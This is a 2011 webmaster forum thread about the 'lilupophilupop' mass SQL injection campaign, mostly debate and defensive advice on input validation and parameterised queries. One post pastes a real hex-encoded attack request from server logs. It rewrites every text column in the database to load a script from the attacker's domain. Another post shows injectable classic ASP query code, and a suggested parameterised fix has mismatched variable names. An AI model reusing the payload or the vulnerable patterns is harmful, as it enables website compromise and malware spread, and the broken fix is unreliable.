lilupophilupop SQL Injection Attack happening ATM

[Dijkgraaf]

Thousands of ASP and Coldfusion sites with MS-SQL back-ends and are being compromised by a SQL injection attack.

[isc.sans.edu ]

[incrediBILL]

A prime example of why everyone and his brother should not be allowed to write software.

Problems like this are easily avoided unless you can't program your way out of a wet paper bag.

[Leosghost]

^ what he said ..

[Ocean10000]

I see these injection attacks reported a few times a year. Most of these sites are not properly validating data entry and feeding that data entry into the SQL code that is executing. Thus they open themselves up to attack running unvalidated SQL statements against a live Server.

Here are some articles from Microsoft on how to protect against SQL Injection Attacks.
How To: Protect From SQL Injection in ASP.NET [msdn.microsoft.com]
Stop SQL Injection Attacks Before They Stop You [msdn.microsoft.com]
SQL Injection [msdn.microsoft.com]

[Chico_Loco]

I'm going to play devil's advocate here... Although poor programming opens the door for SQL injection and other types of hacks, the real problem is that the hackers actually perform this type of attack, which if I understand it correctly is illegal.

Sure, if I accidentally leave the door of my house unlocked and a thief comes in and robs me, then I made a mistake that facilitated me being robbed, but it is the thief that performs the illegal act of badwill.

Sure, I'm pontificating a bit about morals, but that's the real issue at hand here, even if it can't be controlled in the real world.

Why am I playing devil's advocate?... There are plenty of people out there that only know enough code to be dangerous but are smart enough to see a gap in the market that they can fill. If they perform the effort to produce some piece of software that provides a valuable service and is in demand, then they should be able to write that software and put it out there. I myself did this years ago with something called "SpyderTrax" and released it to the public. I am not an expert coder, so perhaps it has holes, and perhaps not.

Not everyone will have the money to hire a real coder to make their code secure. I didn't.

Maybe the languages themselves should have more checks and balances in place to prevent such things from happening, e.g. not allowing SQL code being passed from $_GET and $POST input variables unless specifically enabled in the code itself on a query-by-query basis.

[aleksl]

Ocean, your examples by Microsoft are .NET so they don't apply. Does not apply to classic asp, which is what is primarily attacked.

incrediBill, the code they send is ENCODED, so you can't check what it is, it looks like a hex string, nothing more. So it isn't that easy as it seems, we've had a licensed software package running that was hit and broken into like that few years back, had to tighten things on the database end as well.

You can program your way out of a wet bag, but can't have all possible UI leaks detected, there's way too many points of entry, and for any small company it is commonly cost prohibitive.

Tell that to Microsoft, BTW, who with their Windows OS up until release 2008 still can't figure out blocking of the brute force login attack, I'm sure they'll like you comparing their codes to wet baggers :)

[Demaestro]

Chico,

Apply your logic to someone building brick and mortar stores for people.

"Well he knew a little bit about construction but not enough to know how to properly re-enforce windows and doors."

"Not all of us can afford a builder who knows how to secure a basement."

Would you hire someone to build your store if those above statements were true?

This is why even on a tight budget you don't hire someone who isn't a professional, and you don't skip over things like security just to get your doors open to the public.

It is curious that with a Brick and Mortar store, in order to obtain insurance, an insurance company requires you to have an alarm system with monitoring on premises, but they don't require a security audit of the website that may or may not be storing customer information.

My advise is treat your website like you would any store and don't cheap out securing it while spending money on making it look pretty.

[edited by: Demaestro at 6:12 pm (utc) on Dec 6, 2011]

[incrediBILL]

ithe code they send is ENCODED, so you can't check what it is

Nonsense.

The input routine can detect that it's ENCODED and either a) decode it and analyze it first or b) simply discard it because it's ENCODED in the first place.

Either way it's a winner.

Besides, the length of the data itself would never survive in my code as I truncate the input data to a reasonable length to avoid such endless strings of garbage being fed directly to any script, that way there is never any buffer overflow potential either.

[Chico_Loco]

Damaestro,

I understand your analogies, but I don't think they apply. So long as the construction work is sufficient to keep the structure safely standing, then there shouldn't be a problem. They would apply if the problems with the code we are discussing resulted in reoccurring problems that caused the websites to go down on its own (a building that comes crashing down), but the problem wasn't necessarily the structural integrity, it was that someone broke in... To that end, no matter how "secure" one may construct a building, if someone wants to break in and tries hard enough, they eventually will succeed. The same is true for physical properties and virtual properties alike.

Remember, I am playing devil's advocate here. Why? The one thing that's different about the Web versus the physical world is that the barrier to entry is so low. That one guy that could never afford to build a B&M store can perhaps afford to start a Website. He might not be able to pay thousands of dollars to secure it correctly, but I think he should still be allowed to compete in the marketplace.

[Octavious]

Can anyone assist on how to prevent this sql injection. Our sites have been injected twice now. We applied almost all known techniques for a MS SQL database including an automated captcha process at no avail. We will apply an IP blocker for this site, but I doubt this is enough as we don't even have any records of this site's IP address recoding on our servers. If anyone has some insights, it would surely be appreciated. We are using MSSQL Express on Windows 2003 Server, IIS6.

[Dijkgraaf]

You can stop it if you do the things as per the third link in Ocean10000 reply above.
SQL Injection [msdn.microsoft.com...]
That is specifically Microsoft, but the principles are the same regardless of the technology.

Sanitize all input (form fields, query string parameters) server side. If it doesn't match what is expected refuse to send it to the database.
Use stored procedures with typed parameters.
Where the web site doesn't need to update data in the database, give it read-only permissions to the database.

[Demaestro]

Chico,

My post wasn't meant to oppose your view, I understand where you are coming from I was just trying to impress upon people making decisions for their business what it means to hire someone and then make the statement

"Not everyone will have the money to hire a real coder to make their code secure."

I am saying, find the money. Just like you wouldn't hire a contractor who can't re-enforce windows to build you anything, you shouldn't hire someone who can't secure their code to build you anything. You just shouldn't do it, and it shouldn't cost more, it just means you hire a professional, not some kid who took an HTML course one time and then read a book about server side coding.

Octavious, you can't protect against an SQL injection attack by adding a captcha, nor can you protect against SQL injections by blocking IPs. You literally have to sanitize anything that can use POST or GET on the server.

If you are using a well known CMS.... Start by doing a search online of the CMS with the version number and the words sql injection, if there are known vulnerabilities for that CMS you should find something that will tell you what files to patch and how.... For all your custom code do a GREP of all the files on your site and look for things referencing any POST or GET variables. Find all the places it grabs data this way and check to see if it is sanitized.

[incrediBILL]

Can anyone assist on how to prevent this sql injection.

If engineers built buildings like sites are programmed on the internet a single woodpecker
could completely destroy civilization.

Writing secure code isn't rocket science, it's a discipline.

Just a few extra lines of code will keep your site pretty safe and it doesn't take thousands of dollars to secure an input field.

First, truncate the length of any input submitted to your query to something reasonable like 128 characters perhaps, maybe even as low as 64. I would simply reject anything over 128 characters, bounce it, problem solved for this injection. Now, with a limited input field of 128 characters, if you don't find any word breaks in those 128 characters like multiple spaces, periods or commas, reject it. Several common sense techniques will stop those encoded injections dead in their tracks.

Also, if you're using PHP parse your input through strip_tags () [php.net] which rips some nonsense HTML out of input and avoids XSS garbage as well.

See, didn't take thousands of dollars, just need to know what you're doing.

He might not be able to pay thousands of dollars to secure it correctly, but I think he should still be allowed to compete in the marketplace.

True.

He also shouldn't whine when his incompetence results in his site getting hacked, all his customer credit card data is exported, and Visa fines his business up to $500K per incident [usa.visa.com] and he looses his house and car paying massive fines, and in some states may face some possible jail time.


Nothing wrong with being able to compete, nope.

You can program your way out of a wet bag, but can't have all possible UI leaks detected, there's way too many points of entry, and for any small company it is commonly cost prohibitive.

I don't buy it.

I have one input sanitizing subroutine.

All that passes is text, no special characters that can be used in scripts and code, just text, text with word breaks so it can't be long encoded strings. The filtered input is so sanitary you could eat off of it.

If they can hack my site by finding a hole in my input sanitizer I'll gladly give them a lollipop.

[viggen]

See, didn't take thousands of dollars, just need to know what you're doing.

Thats why knowing what you are doing can be worth thousands of dollars...

[stef24]

Now, with a limited input field of 128 characters, if you don't find any word breaks in those 128 characters like multiple spaces, periods or commas, reject it.

It's great to be able to use such a tight set of restrictions but not all developers are so lucky. What about a lengthy blog post with a WYSIWYG and all associated markup? Or a contact form, do you want to reject potential customers cause they forgot punctuation? What about JSON encoded data in a hidden form field?

Personally I have no need for such data (so I get where you're coming from) but sometimes the application and/or client demands it.

I'm of the opinion that one does not need to reinvent the wheel, most frameworks have protection built in and if you don't have access to this then there are libraries / test available.

I'm also of the opinion that these developers should be allowed to compete in the market place cause eventually their customers will sooner or later understand the value of what a "pro" web developer charges.

[Jon_King]

Is there a way to test a particular site for this vulnerability?

[enigma1]

I wonder why they show an update as of the 8/12/2011. Isn't the 7th, or they have their date format messed up and they're just projecting, the article seems to be published on the 1st.

I am sure sql injections don't necessarily imply the attackers want to bring sites down, rather to gain control in some way.

Several common sense techniques will stop those encoded injections dead in their tracks.

This kind of techniques may also render the site unusable. Moreover sql injections don't take place only via /GET.

When you see this kind of attack to be successful you start realizing how "solid" the code of various scripts is, they just accept whatever input comes in. No filtering nothing. Best to find what scripts are vulnerable and make sure they perform sql queries with a proper filter in place by type and by value relevant to the query in place.
So if products_id is an integer you don't filter it with a regexp just because it clears punctuation.

[frontpage]

Anyone have an example of a SQL injection request from their logs?

[freejung]

In support for incrediBILL's argument -- I use PHP on a LAMP stack so I don't have direct experience of this, but I talked to a friend who is an extremely competent .NET developer. He said that following "the best practice of using parameterized SQL when interacting with the database" should prevent this sort of attack. The tone and general context of the discussion implied strongly that any .NET developer who does not follow this practice doesn't really know what they're doing.

For my part I use a framework (MODX xPDO) that escapes everything before interacting with the database, and just for good measure I validate all my input first anyway. I haven't heard of anyone using MODX having problems with SQL or script injections.

[softty]

This is from the attack on one of my sites, it's ASP.Net C#, 2000 MSSQL server

lid=1832%27+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x7365742
0616e73695f7761726e696e6773206f6666204445434c4152452040542056415243484152283
23535292c404320564152434841522832353529204445434c415245205461626c655f4375727
36f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434
f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c7
56d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c657320742077686
5726520632e444154415f5459504520696e2028276e76617263686172272c277661726368617
2272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d41584
94d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c6
55f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f5
0454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655
f437572736f7220494e544f2040542c4043205748494c4528404046455443485f53544154555
33d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b2
72b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2
f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3
c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b4
0432b275d2929207768657265204c45465428525452494d28434f4e564552542856415243484
1522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7
363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736
f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f7220444
5414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%
40s%29--&tid=Gratis+Online+Dating...

Check your log for 736574

[edited by: Ocean10000 at 2:22 am (utc) on Dec 8, 2011]
[edit reason] Adding line breaks for display. [/edit]

[Dijkgraaf]

@Jon_King

Is there a way to test a particular site for this vulnerability?

Yes, there are various tools out there. For example there are two Add-ons for Firefox that test for SQL Injection on web pages (both of earlier version of Firefox though, not compatible with Firefox 8)

[freejung]

Wow, that's a long string.

I should clarify my statement: PDO in general (not just xPDO, which is cooler for other reasons) uses parameterized queries and should be safe if used properly.

And I should say I haven't heard of anyone using MODX Revolution having problems with SQL or script injection. MODX Evolution, the earlier version, did have an SQL vulnerability at one point, but that was before they started using xPDO.

Generally speaking, whatever your language, you should use a framework that does parameterized queries as this has performance advantages in addition to being more secure.

[softty]

@Jon_King if you at any time use Request.QueryString like this, then your site is open

"Select * from Tabel where Id=" + Request.QueryString["id"]; + ";

Use this instead

string lid = Request.QueryString["id"];
string conn = ConfigurationManager.ConnectionStrings["ConnectionString"].ConnectionString;
SqlConnection MyConnection = new SqlConnection();
MyConnection.ConnectionString = conn;
MyConnection.Open();
String MyString = @"Select * from Tabel where Id=@id";
SqlCommand MyCmd = new SqlCommand(MyString, MyConnection);
MyCmd.Parameters.Add("@lid", SqlDbType.VarChar);
MyCmd.Parameters["@lid"].Value = id;

And the same goes for every text boxes, don't insert directly into your sql string from queryString, text boxes or any other thing.

@freejung to see what it decodes into check out this thread [isc.sans.edu...] (I didn't wanna copy the code) ;o)

[Octavious]

Was able to clear up our database and restore our sites (had to shut down six for almost 24hours - aaargh) after getting attacked twice. Discovered the injection point in one of our old sites that had a weak sql statement. Learned alot in the past few days and now trying to update most bad/old statements and include validations in all our input forms.

By the way, our attack was injected from an FAQ index page that has a hyperlink (looks like this: faqdsp.asp?id=1234) to the full documentation page. This was one of two pages that we neglected to update over the past couple of years. A quick google of this actual page name "faqdsp" results in massive sql injection issues along with the page "download".

Im hearing alot about using parameterized queries and tried the above example by softy but couldn't get it to work on our Classic ASP pages. Was wondering if anyone can help me convert the following connection/queries to parameterized queries. Also, will this only work with Stored Procedures? Im not familiar with store procedures but will likely learn and apply.

Here are our current codes:

'This our connection string that is called from an include page:

Set OBJdbConnection = Server.CreateObject("ADODB.Connection")
OBJdbConnection.Open "Provider=sqloledb;Data Source=somesite.com;Initial Catalog=somecatalog;User Id=sa;Password=somepwd;"

'This is a typical sql query (yes, I know, it's weak!):

xid = Request.Form.Item("someid")

SQL_query = "SELECT * FROM sometable WHERE (tblid = "&xid&")"
Set rs = OBJdbConnection.Execute(SQL_query)

'This is how we display the results:

xname = rs("name")

Any help as always is greatly appreciated.
Octavious

[incrediBILL]

Sorry guys, I don't buy the argument that because SOME sites need to be able to have long strings input means ALL sites need to be vulnerable. That's the argument I'm hearing from some, if you sanitize the input then WE will have issues. Being left wide open for all to be vulnerable is just silly and unnecessary.

Truth is most sites, except technical forums, don't need such unfiltered input and there is no value whatsoever in leaving everyone vulnerable just because a few might benefit.

Worse case, the admin control panel could offer a range of input filtering from completely sanitized as I described to loosely sanitized. Members that need such unfiltered input capabilities could even have it issued on a per account basis.

Like I said before, securing the web isn't rocket science.

Convincing people to do the things that need to be done, that's where the difficulty lies.

[aleksl]

incrediBILL, come on. DO you post here, or what? This Quick Reply box on the forum, how long of a string does it accept?

How long of a string do you accept as a search string on your search forms? How do you sanitize it?


What you are describing is sites that bring money, otherwise you can't possibly afford extensive re-wrights that are needed to fix cheaply built outsourced code and plug the holes. What you are talking about is top sites on the web, but small webmasters don't own top sites. Most of the small affiliates don't, etc. etc. In fact, even I would shut down several of our small non-profit sites rather than doing extensive and EXPENSIVE hole plugging.


As far as quick measures for classic asp:
1) what softty said above, parametrized query. Better yet, stored procedures. May not be suitable for everyone because may require website rewrite.
2) for any code: database tightening, user that is connecting to the database from a website
a) CANNOT BE "sa"
b) CANNOT HAVE ACCESS to system tables.

[incrediBILL]

incrediBILL, come on. DO you post here, or what? This Quick Reply box on the forum, how long of a string does it accept?

OK, mixing apples and oranges, big input fields need a little different approach. I didn't intend on writing a complete "how-to" guide, just generalized ideas. I was aiming my comments in specific about general input fields, like some sign-up forms and such, people don't protect them, nor the little "search" boxes they put on their sites that directly query the database.

On a big input field like this I would look for long non-breaking strings that exceed certain lengths before rejecting the input, as well as filtering out HTML, javascript, SQL, etc.

Obviously on a techie forum like WebmasterWorld you can't be that restrictive, but requiring validated membership to post will often solve the problem assuming your member registration at least has some form(s) of Turing tests and email validation involved.

In fact, even I would shut down several of our small non-profit sites rather than doing extensive and EXPENSIVE hole plugging.

There's that old straw man argument that hole plugging is both extensive and expensive.

I have a global routine that I use which, with a simple addition to .htaccess, now pre-appends all page requests site-wide. This code checks all GET and POST variables being passed and evaluates them for certain bad characteristics and will kick the page request if it sees certain types of data attempting to be input.

It's not hard, it's not complicated, it's not expensive nor was it extensive.

One page of PHP code, couple of lines in .htaccess, and my site passes those security check sites battery of tests with flying colors.

Obviously my code does specific filtering at field levels in the actual application itself, but there's a lot of generic testing you can do site-wide without knowing or caring about the fields being submitted and what should be there as you know for sure what bad stuff SHOULDN'T be there and that can be blackbox tested and rejected globally on the cheap and you never miss any potential hole as the entire site has blanket protection.

[aleksl]

Actually no I don't mix apples and oranges. We were attacked on search field (built by a vendor, BTW), and on customer service form with a text area just like this on the forum.

Obviously my code does specific filtering at field levels in the actual application itself

That is what I was referring to when I said "extensive and expensive". Because you have to build this infrastructure in, so if it isn't already present it is an extensive application mod (granted that it is an application and not 10 scripts , a template and 100 zillion pages of content).

I agree that some blackbox testing should be available.
[stackoverflow.com...]

[incrediBILL]

That is what I was referring to when I said "extensive and expensive". Because you have to build this infrastructure in, so if it isn't already present it is an extensive application mod

Not really, same global protection.

When I said validation within the application I mean the usual stuff, like verifying dates, phone #s, email addresses, stuff that usually is already in place to validate fields server side. For expected formatted fields the lack of the desired format is usually enough to protect that field.

It's the free-for-all un-formatted input fields that are the problems, and those can easily be addressed with global protection as described previously.

There was some company selling a reasonably inexpensive site protection product that did just this, had packs of scripts to protect certain sites, and allowed you to add new rules to their scripts

However, not I can't find the link anywhere.

If I do, I'll post it.

[brotherhood of LAN]

Have to agree with Bill's stance, I cringe when I have to update someones existing code and there's no sanitation of user input.

- You can't rely on client-side validation
- You can't rely on the user being a human
- Basically all your form data can be posted automatically

You need to validate the data before it gets to the database. If you create/buy cheap code without it, you'll suffer the headache sooner or later.